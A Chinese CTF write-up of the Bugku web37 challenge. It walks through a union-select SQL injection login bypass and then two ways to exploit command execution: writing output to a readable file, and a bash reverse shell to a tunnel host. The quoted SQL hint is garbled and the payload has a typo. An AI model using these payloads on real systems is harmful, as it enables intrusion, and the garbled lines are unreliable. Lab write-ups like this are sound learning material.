bugku web37题两种wp

如题
bugku web37题两种wp_第1张图片
可以看到一个登录界面
bugku web37题两种wp_第2张图片
猜测有注入漏洞,先输入123,,123抓包看看
bugku web37题两种wp_第3张图片
用repeater发送后看到有个tip 是一串base64加密的字符,解密后明文:
s q l = " S E L E C T u s e r n a m e , p a s s w o r d F R O M a d m i n W H E R E u s e r n a m e = ′ " . sql="SELECT username,password FROM admin WHERE username='". sql="SELECTusername,passwordFROMadminWHEREusername=".username."’";
if (!empty($row) && r o w [ ′ p a s s w o r d ′ ] = = = m d 5 ( row['password']===md5( row[password]===md5(password)){
}
审计后发现可以构造一个不存在的用户进行登录,查询的密码要和md5加密后的一致,构造payload:
username=’ union select 1,md(123)%23&password=123
bugku web37题两种wp_第4张图片
登录成功后看到一个命令执行界面,尝试ls:
bugku web37题两种wp_第5张图片

第一种解法:

bugku web37题两种wp_第6张图片
将ls的结果写入res中然后访问res
bugku web37题两种wp_第7张图片
可以看到结果里面有flag,再将flag的内容写入res中访问res
bugku web37题两种wp_第8张图片
得到了falg
在这里插入图片描述

第二种解法:

执行以下ping命令发现可以ping外网 想到可以反弹shell,但得有一个外网
https://natapp.cn/register
可以去上面的网址注册并且购买一个免费的隧道映射到自己的电脑上
bugku web37题两种wp_第9张图片
在自己的kali上输入 nc -lvp 端口号 监听这个端口
在题目中执行

1|bash -i >& /dev/tcp/server.natappfree.cc/40744 0>&1

成功的反弹了shell
bugku web37题两种wp_第10张图片
获取flag
在这里插入图片描述

你可能感兴趣的:(ctf做题记录,信息安全)